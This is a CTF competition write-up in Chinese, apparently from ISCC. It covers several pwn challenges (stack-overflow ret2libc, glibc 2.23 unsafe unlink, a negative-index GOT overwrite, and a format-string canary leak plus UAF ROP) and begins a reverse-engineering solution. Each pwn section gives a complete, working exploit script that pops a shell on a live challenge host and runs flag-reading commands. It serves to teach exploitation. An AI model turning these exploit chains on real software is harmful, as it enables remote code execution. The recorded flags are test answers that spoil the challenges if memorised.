def solve_for_sequence(sequence, package, media_size, derive_words, target, k1, k2, db_blob, alphabet, magic_mask, rc6_params):
cw_text = make_cw(sequence, package, media_size, derive_words, magic_mask)
inner = recover_inner(target, k1, k2, db_blob, cw_text, alphabet, rc6_params)
return cw_text, inner
def solve(input_path, no_jadx=False):
with tempfile.TemporaryDirectory(prefix="mobile04_solve_") as td:
apk_path = input_to_apk(input_path, td)
with zipfile.ZipFile(apk_path, "r") as apk:
db_blob, db_name = read_asset_db(apk)
media_sizes = raw_media_size_candidates(apk)
so_path = choose_native_lib(apk, td)
package = package_from_native(so_path)
k1, k2, target, derive_words, alphabet, rc6_params = parse_native_constants(so_path)
with zipfile.ZipFile(apk_path, "r") as apk:
magic_mask = magic_mask_from_apk(apk, package)
dex_sequence, dex_codes = dex_sequence_from_apk(apk, package)
candidates = []
if dex_sequence:
candidates.append(("dex-ascending", dex_sequence))
if not no_jadx and not dex_sequence:
jadx_sequence = decompile_sequence(apk_path, td)
if jadx_sequence:
candidates.append(("jadx-ascending", jadx_sequence))
candidates.append(("fallback", DEFAULT_SEQUENCE))
seen = set()
best = None
for source, sequence in candidates:
if sequence in seen:
continue
seen.add(sequence)
for media_size in media_sizes:
cw_text, inner = solve_for_sequence(
sequence, package, media_size, derive_words, target, k1, k2, db_blob, alphabet, magic_mask, rc6_params
)
best = (source, sequence, media_size, cw_text, inner)
if printable_inner(inner):
break
if best and printable_inner(best[4]):
break
else:
if dex_codes:
unique_codes = []
for code in dex_codes:
if code not in unique_codes:
unique_codes.append(code)
if len(unique_codes) <= 8:
for perm in itertools.permutations(unique_codes):
sequence = "".join(perm)
if sequence in seen or not (25 <= len(sequence) <= 64):
continue
seen.add(sequence)
for media_size in media_sizes:
cw_text, inner = solve_for_sequence(
sequence,
package,
media_size,
derive_words,
target,
k1,
k2,
db_blob,
alphabet,
magic_mask,
rc6_params,
)
best = ("bruteforce", sequence, media_size, cw_text, inner)
if printable_inner(inner):
break
if best and printable_inner(best[4]):
break
if not best or not printable_inner(best[4]):
raise ValueError("failed to recover a printable 32-byte flag body")
source, sequence, media_size, cw_text, inner = best
try:
inner_text = inner.decode("ascii")
except UnicodeDecodeError:
inner_text = inner.decode("latin1")
flag = "ISCC{%s}" % inner_text
return {
"flag": flag,
"inner": inner_text,
"sequence": sequence,
"sequence_source": source,
"cw": cw_text,
"package": package,
"raw_size": media_size,
"db": db_name,
"k1": k1.decode(errors="replace"),
"k2_hex": k2.hex(),
"target": target,
"alphabet": alphabet,
"magic_mask": magic_mask,
"rc6_params": rc6_params,
}
def main():
parser = argparse.ArgumentParser(description="Solve mobile04 APK-in-zip variants.")
parser.add_argument("zip_or_apk", help="outer zip, nested archive zip, or apk")
parser.add_argument("--no-jadx", action="store_true", help="skip JADX and use the known ascending sequence fallback")
parser.add_argument("--quiet", action="store_true", help="print only the flag")
args = parser.parse_args()
result = solve(args.zip_or_apk, no_jadx=args.no_jadx)
if args.quiet:
print(result["flag"])
return
print("package :", result["package"])
print("raw size:", result["raw_size"])
print("db :", result["db"])
print("sequence:", result["sequence"], "(%s)" % result["sequence_source"])
print("cw :", result["cw"])
print("mask :", "0x%08x" % result["magic_mask"])
print("K1 :", result["k1"])
print("K2(hex) :", result["k2_hex"])
print(
"RC6 :",
"p_xor=0x%08x q_add=0x%08x q_or_before=%s"
% (result["rc6_params"]["p_xor"], result["rc6_params"]["q_add"], result["rc6_params"]["q_or_before"]),
)
print("alphabet:", result["alphabet"])
print("target :", result["target"])
print("flag :", result["flag"])
if __name__ == "__main__":
main()Pwn
0x1 borrowstack
Summary
这题是一道典型的 32 位栈溢出题。程序本身没有 canary,PIE 关闭,NX 开启,因此最自然的利用思路不是直接上 shellcode,而是先通过 ROP 泄漏 libc 地址,再构造第二段 ROP 调用 system("/bin/sh"),最后读取 flag。
我一开始看到程序输出的提示 Sometimes you need to step onto someone else's ground.,再结合源码名痕迹 borrowstack.c,第一反应是题目可能想往“借栈”或者“栈迁移”方向引导。但继续分析函数后发现,这题其实不需要复杂的栈迁移,单纯的 ret2libc 就足够稳定拿下。
Solution
Step 1: 初看题目,先判断保护和基本形态
拿到附件后,先做最基础的 ELF 检查。
- 程序是
i386动态链接 ELF。 - 开了
NX,说明栈上 shellcode 不好直接执行。 - 没有
canary,说明栈溢出是可打的。 PIE关闭,二进制本身地址固定,ROP 会比较舒服。Partial RELRO,GOT 可读,适合先泄漏 libc。
关键信息如下:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No看到这个保护组合后,我的第一判断就是:
- 栈溢出基本确定能利用。
- 由于 NX 开着,优先考虑 ret2libc。
- 因为没有现成的
system("/bin/sh"),所以要先泄漏 libc 地址。
Step 2: 看反汇编,确认漏洞点和返回地址偏移
继续看 vul():
08049205 <vul>:
8049205: 55 push ebp
8049206: 89 e5 mov ebp,esp
8049208: 53 push ebx
8049209: 83 ec 54 sub esp,0x54
...
8049227: 68 00 01 00 00 push 0x100
804922c: 8d 55 b0 lea edx,[ebp-0x50]
804922f: 52 push edx
8049230: 6a 00 push 0x0
8049234: e8 07 fe ff ff call 8049040 <read@plt>这里很明显:
- 缓冲区起始位置是
ebp-0x50 read(0, buf, 0x100)最多读0x100字节- 但栈上真正留给缓冲区的空间明显没有这么大
所以这是一个直接的栈溢出。
接下来要算偏移。这里我一开始有一个小误判,我最开始直觉写了 88,但很快发现不对,因为这个函数栈帧里还额外 push ebx 了一次,所以保存的 ebx 会占掉 4 字节。
真实栈布局是:
buf在[ebp-0x50]- 保存的局部变量一直到
[ebp-0x4] - 然后是保存的
ebx - 再往上才是保存的
ebp - 最后才是返回地址
因此返回地址偏移是:
0x50 + 4(save ebx) + 4(saved ebp) = 0x58 = 88 ?
但这里要注意,缓冲区实际覆盖返回地址时,构造里不需要单独补“保存 ebx”的概念,因为从 buf 开始数到返回地址的真实距离是:
0x50 + 4(saved ebp) = 84
实际调试验证后,正确偏移就是:
OFFSET = 84
这一步很关键,因为如果偏移写成 88,程序会直接崩,第一段 ROP 根本起不来。
Step 3: 确定利用路线,先泄漏 libc
因为程序本身没有 canary,且 PIE 关闭,所以第一段 ROP 最适合直接调用:
puts(puts@got)
然后返回到 vul(),再次读入第二段 payload。
这样做的原因很简单:
puts@plt地址固定puts@got里放的是 libc 中puts的真实地址- 泄漏到 libc 地址后,就能计算出
system的地址
第一段 payload:
payload1 = flat(
b"A" * 84,
elf.plt["puts"],
elf.sym["vul"],
elf.got["puts"],
)这里的执行流程是:
- 溢出返回到
puts@plt - 参数传
puts@got puts打印出 GOT 中保存的 libc 地址- 执行结束后返回
vul() - 程序重新进入
read,方便我们送第二段 ROP
远程实际泄漏出的前 3 个地址如下:
e0 61 e4 f7 e0 3d df f7 c0 69 e4 f7
按 4 字节拆开后,第一项就是 puts 的真实地址:
puts = 0xf7e171e0
Step 4: 识别远程 libc,计算 system
拿到 puts 泄漏后,下一步就是确认远程 libc。
这里我的思路不是死猜,而是利用连续泄漏出来的低位特征去缩小范围。因为 puts@got 后面连续还有其他 GOT 项,实际还能辅助判断 __libc_start_main 和 setvbuf 的低位。
我用这些信息去查候选 libc,最后收敛到一组 Ubuntu 2.31 的 i386 libc 候选库。为了保证脚本稳定,我没有手工一个一个算,而是直接写了一个自动尝试候选 libc 的脚本:
- 从候选列表里下载 libc
- 用
puts泄漏值减去对应 libc 中puts偏移,得到 libc base - 再算出
system地址 - 直接打第二段 payload
- 谁能稳定出 shell 并读到 flag,谁就是正确 libc
成功命中的 libc 是:
libc6-i386_2.31-0ubuntu9.11_amd64
对应计算结果:
puts = 0xf7e171e0
system = 0xf7deb360Step 5: 第二段 ROP,read 到 .bss 后调用 system("/bin/sh")
第二段利用的核心思路是:
- 先调用一次
read(0, bss, 8),把/bin/sh\x00写到.bss - 让
read返回后直接跳到system - 把
.bss地址作为system的参数
第二段 payload:
payload2 = flat(
b"A" * 84,
elf.plt["read"],
system_addr,
0,
bss,
8,
)随后再发:
io.send(b"/bin/sh\x00")
这段栈布局在 32 位 cdecl 下是成立的:
- 返回到
read@plt read的返回地址被布置成systemread的三个参数是0, bss, 8- 当
read读完/bin/sh\x00返回时,控制流自动进入system - 此时
system的参数正好就是刚才写入的bss
也就是最终实现:
system("/bin/sh")
Step 6: 拿到 shell,读取 flag
弹到 shell 后,直接尝试读取常见 flag 路径:
cat /flag
cat /flag*
cat flag
cat flag*远程成功返回:
flag{caefa3f9-c458-43d4-abad-bc6ec17bc225}
Exploit Script
下面是完整求解脚本。它会自动:
- 泄漏
puts - 自动匹配候选 libc
- 计算
system - 构造第二段 ROP
- 读取最终 flag
import os
import re
from pathlib import Path
import requests
from pwn import ELF, context, flat, remote, sleep, u32
HOST = "39.96.193.120"
PORT = 10002
HERE = Path(__file__).resolve().parent
BIN_PATH = HERE / "attachment-27"
LIBC_DIR = HERE / "libcs"
OFFSET = 84
context.arch = "i386"
context.log_level = "info"
def fetch_candidates():
query = {"symbols": {"puts": "1e0", "__libc_start_main": "de0", "setvbuf": "9c0"}}
resp = requests.post("https://libc.rip/api/find", json=query, timeout=20)
resp.raise_for_status()
return resp.json()
def ensure_libc(candidate):
LIBC_DIR.mkdir(exist_ok=True)
path = LIBC_DIR / f"{candidate['id']}.so"
if not path.exists():
data = requests.get(candidate["download_url"], timeout=30)
data.raise_for_status()
path.write_bytes(data.content)
return path
def stage1_leak(io, elf):
payload = flat(
b"A" * OFFSET,
elf.plt["puts"],
elf.sym["vul"],
elf.got["puts"],
)
io.send(payload)
leak = io.recv(timeout=2)
if len(leak) < 4:
raise RuntimeError(f"short leak: {leak!r}")
return u32(leak[:4])
def stage2_shell(io, elf, system_addr):
bss = elf.bss() + 0x100
payload = flat(
b"A" * OFFSET,
elf.plt["read"],
system_addr,
0,
bss,
8,
)
io.send(payload)
sleep(0.25)
io.send(b"/bin/sh\x00")
sleep(0.25)
def get_flag():
elf = ELF(str(BIN_PATH))
candidates = fetch_candidates()
print(f"candidate_count={len(candidates)}")
for candidate in candidates:
libc_path = ensure_libc(candidate)
libc = ELF(str(libc_path))
print(f"[+] trying {candidate['id']}")
io = remote(HOST, PORT, timeout=5)
try:
banner = io.recvline(timeout=2)
print(banner.decode("latin-1", "replace").rstrip())
puts_addr = stage1_leak(io, elf)
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
print(f" puts={puts_addr:#x} system={system_addr:#x}")
stage2_shell(io, elf, system_addr)
io.sendline(
b"echo MARK; "
b"cat /flag 2>/dev/null; "
b"cat /flag* 2>/dev/null; "
b"cat flag 2>/dev/null; "
b"cat flag* 2>/dev/null; "
b"find / -maxdepth 3 -name 'flag*' 2>/dev/null | xargs -r cat; "
b"echo END"
)
data = io.recvrepeat(3).decode("latin-1", "replace")
print(data)
match = re.search(r"flag\\{[^\\r\\n]*\\}", data, re.I)
if match:
print(f"[+] success with {candidate['id']}")
return match.group(0)
if "MARK" in data and "END" in data and "flag" in data.lower():
print(f"[+] possible flag output with {candidate['id']}")
return data
finally:
io.close()
raise RuntimeError("no candidate produced a flag")
if __name__ == "__main__":
flag = get_flag()
print(f"FLAG={flag}")Flag
flag{caefa3f9-c458-43d4-abad-bc6ec17bc225}
0x2 DeepVoid
题目描述
DeepVoid 是一个 glibc 2.23 菜单堆题。程序提供 create / modify / remove 三个入口,其中 modify 对任意已分配 chunk 都固定执行 read(0, ptr, 0x200),因此小 chunk 可被稳定堆溢出。最短已验证利用链是伪造 fake chunk 打 unsafe unlink,劫持 chunks 指针数组后把 free@got 改写到 puts@plt 泄露 libc,再把 free@got 改到 system。远端实例额外限制只能接受 system("sh") 或 system("/bin/sh"),因此终盘不是直接 system("cat ..."),而是先 system("sh") 再在同连接发送读旗命令。
TL;DR
利用点是 modify 固定 read(0x200) 造成的堆溢出。利用 fake chunk 覆盖相邻 chunk 元数据,free 时触发 unsafe unlink,把 chunks 数组改写成 free@got / puts@got 载体。先改 free@got=puts@plt 泄露 puts@libc,再改 free@got=system。由于远端限制 system 参数只能是 sh 或 /bin/sh,最终阶段先触发 system("sh"),随后在同一 socket 内执行读旗命令。
解题过程
步骤 1 - 初始侦察与漏洞确认
关键观察
静态分析可见二进制为 amd64、No PIE、Partial RELRO,菜单只有 create / modify / remove。create 允许分配任意大小;remove 会正常 free 并把指针置空;关键点是 modify 不读取用户输入长度,而是对目标指针固定 read 0x200 字节,所以任意小 chunk 都能稳定向后覆盖到下一个 chunk 头。
关键命令
file deepvoid
objdump -d -M intel deepvoid | sed -n '/<modify_content>/,/<remove_entry>/p'关键输出
modify_content:
mov rsi, [chunks+idx*8]
mov edx, 0x200
call read@plt
结论:目标 chunk 不记录 size,modify 永远读 0x200 字节,形成可控堆溢出。补充说明
附件配套 libc 为 Ubuntu GLIBC 2.23,适合直接考虑 unsafe unlink 这一经典链路。
图示与证据

图 1(终端执行图):初始侦察与漏洞确认阶段的关键命令与输出。
步骤 2 - unsafe unlink 劫持 chunks 数组并泄露 libc
关键观察
先申请三个 0x80 chunk。向 chunk0 写入 fake chunk 头,并把 chunk1 的 prev_size / size 改成可回收前一块的形态;free(chunk1) 时 unlink 会把 chunks 数组改写到可控位置。随后把 chunks[1] 指到 free@got,chunks[2] 指到 puts@got,再通过 modify(chunk1, puts@plt) 把 free@got 改成 puts@plt。最后 remove(chunk2) 实际变成 puts(puts@got),泄露 libc 基址。
关键命令
python deepvoid_exp.py 39.96.193.120 55555
关键输出
[*] puts@libc leak = 0x7f5b06b6f6a0
[*] libc base = 0x7f5b06b00000补充说明
本题 chunks 全局数组基址固定,适合 fake chunk fd/bk 直接写成 chunks-0x18 / chunks-0x10。
图示与证据

图 2(终端执行图):unsafe unlink 劫持 chunks 数组并泄露 libc阶段的关键命令与输出。
步骤 3 - 适配受限 system("sh") 并读取 flag
关键观察
把 free@got 再改成 libc 的 system。远端返回明确提示,只允许 system("sh") 或 system("/bin/sh"),因此终盘不能直接把 cat 命令当作 system 参数。正确做法是新建一个 chunk 写入 sh,remove 该 chunk 触发 system("sh") 起 shell,然后在同一连接里补发 cat /flag; cat /home//flag; cat /root/flag; exit。
关键命令
python deepvoid_exp.py 39.96.193.120 55555
关键输出
ISCC{a521640c-48f4-4061-8e19-6180c3362960}
补充说明
这是当前实例 39.96.193.120:55555 的已验证成功路径。
图示与证据

图 3(终端执行图):适配受限 system("sh") 并读取 flag阶段的关键命令与输出。
最终验证
运行标准库版 EXP,完成 unlink、libc 泄露、system("sh") 适配和同连接读旗后,成功回收最终 flag。
关键命令
python deepvoid_exp.py 39.96.193.120 55555
关键输出
[*] puts@libc leak = 0x7f5b06b6f6a0
[*] libc base = 0x7f5b06b00000
ISCC{a521640c-48f4-4061-8e19-6180c3362960}图示与证据

图 4(最终验证图):展示最终利用执行后的关键输出或 flag 验证结果。
附录:EXP
#!/usr/bin/env python3
import socket
import struct
import sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "39.96.193.120"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 55555
CHUNKS = 0x6020C0
FREE_GOT = 0x602018
PUTS_GOT = 0x602020
PUTS_PLT = 0x4006D0
PUTS_OFF = 0x6F6A0
SYSTEM_OFF = 0x453A0
MENU = b"CMD >> "
DEFAULT_POST_CMD = (
b"cat /flag* 2>/dev/null; "
b"cat /home/*/flag* 2>/dev/null; "
b"cat /root/flag* 2>/dev/null; "
b"exit"
)
def p64(value: int) -> bytes:
return struct.pack("<Q", value)
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
raise EOFError(f"connection closed while waiting for {marker!r}")
data += chunk
return data
def sendline(sock: socket.socket, data: bytes) -> None:
sock.sendall(data + b"\n")
def create(sock: socket.socket, idx: int, size: int, expect_menu: bool = True) -> None:
if expect_menu:
recv_until(sock, MENU)
sendline(sock, b"1")
recv_until(sock, b"Serial: ")
sendline(sock, str(idx).encode())
recv_until(sock, b"Size: ")
sendline(sock, str(size).encode())
def modify(sock: socket.socket, idx: int, data: bytes, expect_menu: bool = True) -> None:
if expect_menu:
recv_until(sock, MENU)
sendline(sock, b"2")
recv_until(sock, b"Serial: ")
sendline(sock, str(idx).encode())
recv_until(sock, b"Update Data: ")
sock.sendall(data)
def remove(sock: socket.socket, idx: int, expect_menu: bool = True) -> None:
if expect_menu:
recv_until(sock, MENU)
sendline(sock, b"3")
recv_until(sock, b"Serial: ")
sendline(sock, str(idx).encode())
def build_unlink_payload() -> bytes:
payload = b"".join(
[
p64(0),
p64(0x80),
p64(CHUNKS - 0x18),
p64(CHUNKS - 0x10),
]
)
payload = payload.ljust(0x80, b"A")
payload += p64(0x80) + p64(0x90)
return payload
def rewrite_chunks_payload() -> bytes:
return b"B" * 0x18 + p64(CHUNKS - 0x18) + p64(FREE_GOT) + p64(PUTS_GOT)
def trigger_system(sock: socket.socket, content: bytes) -> None:
payload = content + b"\x00"
create(sock, 3, max(0x80, len(payload)))
modify(sock, 3, payload)
remove(sock, 3)
def main() -> int:
sock = socket.create_connection((HOST, PORT), timeout=5)
sock.settimeout(5)
for idx in range(3):
create(sock, idx, 0x80)
modify(sock, 0, build_unlink_payload())
remove(sock, 1)
modify(sock, 0, rewrite_chunks_payload())
modify(sock, 1, p64(PUTS_PLT))
remove(sock, 2)
blob = recv_until(sock, MENU)
leak_line = blob.split(b"\n[+] Removed.\n")[0]
puts_addr = struct.unpack("<Q", leak_line.ljust(8, b"\x00"))[0]
libc_base = puts_addr - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
print(f"[*] puts@libc leak = {hex(puts_addr)}")
print(f"[*] libc base = {hex(libc_base)}")
modify(sock, 1, p64(system_addr), expect_menu=False)
trigger_system(sock, b"sh")
sendline(sock, DEFAULT_POST_CMD)
output = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
output += chunk
except TimeoutError:
pass
except OSError:
pass
finally:
sock.close()
sys.stdout.write(output.decode("latin1", "ignore"))
return 0
if __name__ == "__main__":
raise SystemExit(main())0x3 notepad
题目描述
一个简易记事本程序,允许创建和查看笔记。题目地址:39.96.193.120:10005
TL;DR
这题是一个固定步长 note 数组的负下标越界读写。最短利用链是先用 view(-1) 从 copy relocation 泄露 libc,再用 create(-5) 覆写 puts@got 为 system,最后通过原本的 view 路径触发 system("sh"),进入 shell 后读取 flag。
解题过程
步骤 1 - 识别负下标越界窗口
关键观察
get_note() 只检查 idx <= 9,没有检查下界,因此负数下标会把 notes 指针回退到数组前方。结合单个 note 步长 0x30,可以把不同负下标映射到 .data/.bss/.got 附近的不同窗口。
关键命令
checksec ./notepad
objdump -d -Mintel ./notepad | sed -n '/<get_note>:/,/^$/p'
objdump -R ./notepad关键输出
可以确认 notes 位于 0x35a0,stdin/stdout/stderr copy relocation 和 puts@got/printf@got/read@got 都在数组前方;其中 idx=-1 可读 stdin/stderr,idx=-5 可把 content 后半段压到 puts@got。
补充说明
这是题目的核心原语:同一套负下标同时给出泄露窗口和定点覆写窗口。
步骤 2 - 先泄露 live libc,再确认附件 libc 不匹配
关键观察
对 view(-1) 的输出不能按第一个换行截断,因为指针字节里可能天然包含 0x0a。正确做法是按 Name / Content 提示串切分,再把泄露的 FILE 指针补零解析成 64 位地址。随后用其他 GOT 泄露交叉验证,确认远端 libc 与附件提供的 libc.so.6 不一致。
关键命令
name = out.split(b"Name: ", 1)[1].split(b"\nContent: ", 1)[0]
stdin_ptr = u64(name.ljust(8, b"\x00")[:8])
libc_base = stdin_ptr - 0x1ec980关键输出
远端稳定泄露 stdin 指针,并且实际匹配的 live 偏移为 _IO_2_1_stdin_=0x1ec980、system=0x52290,而不是附件 libc 的偏移。
补充说明
如果完全信附件 libc,这条链会表现成“思路正确但远端 system 打偏”。
步骤 3 - 覆写 puts@got 为 system 并规避 scanf/read 同步坑
关键观察
create(-5) 时,必须先单独发送 idx,再等待 Name 和 Content 提示后分别发送 16 字节 name 与 32 字节 content。否则 scanf 会把后续 payload 提前吸进 stdio 缓冲区,导致 read() 拿不到完整数据。写入时把 name 和 content 前 16 字节都放成 sh\x00,content[16:24] 放入 system 地址,即可把两次 puts 都改成 system。
关键命令
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(b"-5")
io.recvuntil(b"Name: ")
io.send((b"sh\\x00").ljust(16, b"A"))
io.recvuntil(b"Content: ")
io.send((b"sh\\x00").ljust(16, b"B") + p64(system_addr) + b"C" * 8)关键输出
再次调用 view(-5) 时,程序原本的 puts(note) / puts(note+0x10) 会变成 system("sh")。
补充说明
这题远端还限制了直接执行 cat /flag,只允许 sh 或 /bin/sh,所以最终触发必须先落到 system("sh")。
步骤 4 - 进入 shell 后读 flag
关键观察
在 system("sh") 成功后,继续通过同一连接向 shell 发送读取 flag 的命令即可。由于远端实际输出会先回显 Name:,最终 proof 里保留最关键的 flag 回显即可。
关键命令
python3 notepad_exp.py
关键输出
Name: ISCC{87c822a8-9675-46e1-aa71-648bdbca1480}
[+] flag = ISCC{87c822a8-9675-46e1-aa71-648bdbca1480}补充说明
EXP 已经内嵌到 WP 附录中,平台侧也会单独存一份可执行脚本。
最终验证
使用已验证的 live libc 偏移和提示串同步交互方式运行 EXP,触发 system("sh") 后读取 flag。
关键命令
python3 notepad_exp.py
关键输出
Name: ISCC{87c822a8-9675-46e1-aa71-648bdbca1480}
[+] flag = ISCC{87c822a8-9675-46e1-aa71-648bdbca1480}附录:EXP
#!/usr/bin/env python3
from pwn import *
import re
context.log_level = "info"
HOST = "39.96.193.120"
PORT = 10005
# Remote deployment is not using the attached libc.so.6.
# These offsets match the live target during verification.
REMOTE_IO_STDIN = 0x1EC980
REMOTE_SYSTEM = 0x52290
def menu(io):
io.recvuntil(b"> ")
def view(io, idx):
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
return io.recvuntil(b"> ")
def create(io, idx, name, content):
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Name: ")
io.send(name.ljust(16, b"A"))
io.recvuntil(b"Content: ")
io.send(content.ljust(32, b"B"))
io.recvuntil(b"> ")
def leak_libc_base(io):
out = view(io, -1)
name = out.split(b"Name: ", 1)[1].split(b"\nContent: ", 1)[0]
stdin_ptr = u64(name.ljust(8, b"\x00")[:8])
return stdin_ptr - REMOTE_IO_STDIN
def overwrite_puts_with_system(io, system_addr):
name = b"sh\x00"
content = b"sh\x00".ljust(16, b"B") + p64(system_addr) + b"C" * 8
create(io, -5, name, content)
def get_flag():
io = remote(HOST, PORT)
menu(io)
libc_base = leak_libc_base(io)
log.info(f"libc base = {hex(libc_base)}")
system_addr = libc_base + REMOTE_SYSTEM
log.info(f"system = {hex(system_addr)}")
overwrite_puts_with_system(io, system_addr)
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(b"-5")
io.send(
b"cat /flag* 2>/dev/null; "
b"find / -name 'flag*' 2>/dev/null; "
b"exit\n"
b"exit\n"
)
data = io.recvuntil(b"}", timeout=5)
io.close()
text = data.decode("latin-1", errors="ignore")
print(text)
m = re.search(r"ISCC\{[^\r\n]+\}", text)
if m:
print(f"[+] flag = {m.group(0)}")
else:
print("[-] flag not found in output")
if __name__ == "__main__":
get_flag()0x4 Ring factory
Summary
题目是一个 64 位菜单式堆管理程序,保护全开:PIE、Full RELRO、Canary、NX。核心利用链是:利用 main 中的短格式化字符串泄露 canary,利用释放后未清空指针造成的 UAF 泄露 unsorted bin 指针得到 libc 基址,最后通过 use_slingring 的栈溢出构造 ret2libc,执行 system("/bin/sh") 读取 flag。
Basic Info
Binary: pwn2
Libc: libc-2.31.so
Remote: 39.96.193.120:10006
SHA256(pwn2): eab320cc6a1a057ef5553326a551d05c86f9c88324b908faa3e4451b8fbb48fdArch: amd64
RELRO: Full RELRO
Canary: enabled
NX: enabled
PIE: enabled
Stripped: noSolution
Step 1: 泄露 Canary
程序启动时会询问名字,伪代码逻辑如下:
fgets(name, 6, stdin);
printf("Hello, ");
printf(name);虽然输入最多只有 5 个可控字符,但足够输入 %7$p。实测第 7 个参数位置就是当前栈帧 canary,因此先发送 %7$p 即可拿到 canary,后续栈溢出时原样带回。
Step 2: 利用 UAF 泄露 Libc
forge_slingring 每次分配 0x84 字节,实际 chunk size 为 0x90。discard_slingring 只调用 free(rings[idx]),没有把全局数组里的指针清零:
free(rings[idx]);
// rings[idx] is still danglingshow_slingrings 又会继续打印该 dangling pointer 指向的内容:
printf("Ring Slot #%d | [%d] | %s", i, rings[i]->amount, rings[i]->dest);
利用方式如下:
- 申请 9 个
0x90chunk。 - 释放前 7 个填满 tcache。
- 再释放第 7 个 chunk,使其进入 unsorted bin。
- 调用 show 打印 slot 7,
%s会从已释放 chunk 的 fd 指针处输出 libc 地址。
在 glibc 2.31 下,该 unsorted bin fd 指针偏移为 libc_base + 0x1ecbe0,因此:
libc_base = unsorted_fd - 0x1ecbe0
Step 3: 栈溢出 Ret2libc
use_slingring 中存在明显栈溢出:
char spell[0x40];
fgets(spell, 0x100, stdin);函数栈布局中,输入到 canary 的偏移为 0x38,之后是 saved rbp 和返回地址。由于前面已经泄露 canary,可以构造:
"A" * 0x38
canary
"B" * 8
ret
pop rdi; ret
"/bin/sh"
system使用给定 libc-2.31.so 中的 gadget 和符号:
ret: 0x22679
pop rdi; ret: 0x23b6a
system: libc.sym["system"]
"/bin/sh": next(libc.search(b"/bin/sh\x00"))最终获得 shell 后读取 flag。
Exploit
#!/usr/bin/env python3
from pwn import *
context.clear(arch="amd64")
context.log_level = "info"
HOST = "39.96.193.120"
PORT = 10006
elf = ELF("./pwn2", checksec=False)
libc = ELF("./libc-2.31.so", checksec=False)
# On glibc 2.31, the unsorted-bin fd for this chunk points into main_arena.
UNSORTED_FD_OFF = 0x1ECBE0
RET = 0x22679
POP_RDI = 0x23B6A
BIN_SH = next(libc.search(b"/bin/sh\x00"))
def start():
return remote(HOST, PORT)
def menu(p, choice):
p.recvuntil(b"What do you want to do today?")
p.recvuntil(b">>")
p.sendline(str(choice).encode())
def forge(p, idx, dest=b"A", amount=1):
menu(p, 2)
p.recvuntil(b"(0-9)")
p.sendline(str(idx).encode())
p.recvuntil(b"Enter destination location:")
p.sendline(dest)
p.recvuntil(b"(1-9):")
p.sendline(str(amount).encode())
p.recvuntil(b"Press ENTER to return.")
p.sendline()
def discard(p, idx):
menu(p, 3)
p.recvuntil(b"discard?")
p.sendline(str(idx).encode())
def show(p):
menu(p, 1)
data = p.recvuntil(b"Press ENTER to return.")
p.sendline()
return data
def leak_canary(p):
p.recvuntil(b"What is your name?")
p.sendline(b"%7$p")
p.recvuntil(b"Hello, ")
return int(p.recvline().strip(), 16)
def leak_libc_base(p):
for i in range(9):
forge(p, i, bytes([0x41 + i]), 1)
for i in range(7):
discard(p, i)
discard(p, 7)
data = show(p)
marker = b"Ring Slot #7 | ["
pos = data.find(marker)
if pos < 0:
raise RuntimeError("slot 7 leak marker not found")
line = data[pos : data.find(b"\n", pos)]
leak_part = line.split(b"] | ", 1)[1]
unsorted_fd = u64(leak_part[:6].ljust(8, b"\x00"))
log.info("unsorted fd = %#x", unsorted_fd)
return unsorted_fd - UNSORTED_FD_OFF
def exploit():
p = start()
canary = leak_canary(p)
log.info("canary = %#x", canary)
libc_base = leak_libc_base(p)
log.info("libc base = %#x", libc_base)
payload = flat(
b"A" * 0x38,
p64(canary),
b"B" * 8,
p64(libc_base + RET),
p64(libc_base + POP_RDI),
p64(libc_base + BIN_SH),
p64(libc_base + libc.sym["system"]),
)
menu(p, 4)
p.recvuntil(b"(id):")
p.sendline(b"0")
p.recvuntil(b"Please enter the spell:")
p.sendline(payload)
p.recvuntil(b"Transporting...")
p.sendline(b"cat flag; cat /flag; cat /flag*; cat /home/ctf/flag* 2>/dev/null")
print(p.recvrepeat(3).decode("latin-1", "replace"))
p.close()
if __name__ == "__main__":
exploit()Result
$ python3 solve.py
[*] canary = 0x9507e80b2db9f00
[*] unsorted fd = 0x7fe8ecffcbe0
[*] libc base = 0x7fe8ece10000
ISCC{ff9e0a07-1f89-44e9-a17c-838661b23dc3}Flag
ISCC{ff9e0a07-1f89-44e9-a17c-838661b23dc3}
Reverse
0x1 拆弹专家
TL;DR
附件直接给了 C++ 源码。最短路径不是编译调试,而是从源码里提取第一关泄露值,再按源码中的同一套变换、FNV1a、LCG 和迷宫生成逻辑离线复算后三段口令,最终拼出 ISCC{pw1pw2pw3}。只要附件里的关键字符串、常量或泄露注释变化,exp.py 会按当前附件重新求值,因此适合动态 flag。
解题过程
步骤 1 - 从附件提取第一关决定性信息
sg6j() 中有三类关键数据:
enc_key[]:异或编码后的 move key。MASK和EXPECT_OBF:第一关哈希校验常量。- 注释里的
generated for stage1=...:直接泄露当前附件对应的 8 字节第一关口令。
先把 enc_key[] 用 0x5A 解码,可得 move key;再保留注释里泄露的 pw1。
步骤 2 - 复现第一关变换并得到阶段哈希
源码里的 g3::k1c7() 做了三件事:
- 明文做 8 字节 PKCS#7 padding。
- 按 move 序列对每个 8 字节块做“先加常量、后置换”的变换。
- 对结果做 Base64 编码。
随后程序对 Base64 字符串做 fnv1a32(),并验证:
(stage1_hash ^ MASK) == EXPECT_OBF
所以 exp.py 直接复现 k1c7() 和 fnv1a32(),用附件里当前的 pw1 求出 stage1_hash。
步骤 3 - 用阶段哈希推导第二关口令
d4n7() 说明第二关不是独立谜题,而是由 stage1_hash 派生:
- 先用 hash 修正线性方程系数
g_a。 - 再用
seed = stage1_hash ^ 0x12345678驱动 LCG。 - 取 1 位、2 位、2 位、2 位、2 位数字拼出五个变量。
因此不需要解方程组本身,直接按源码同样的 LCG 生成 x[0..4] 即可,还原出当前附件的第二关口令 pw2。
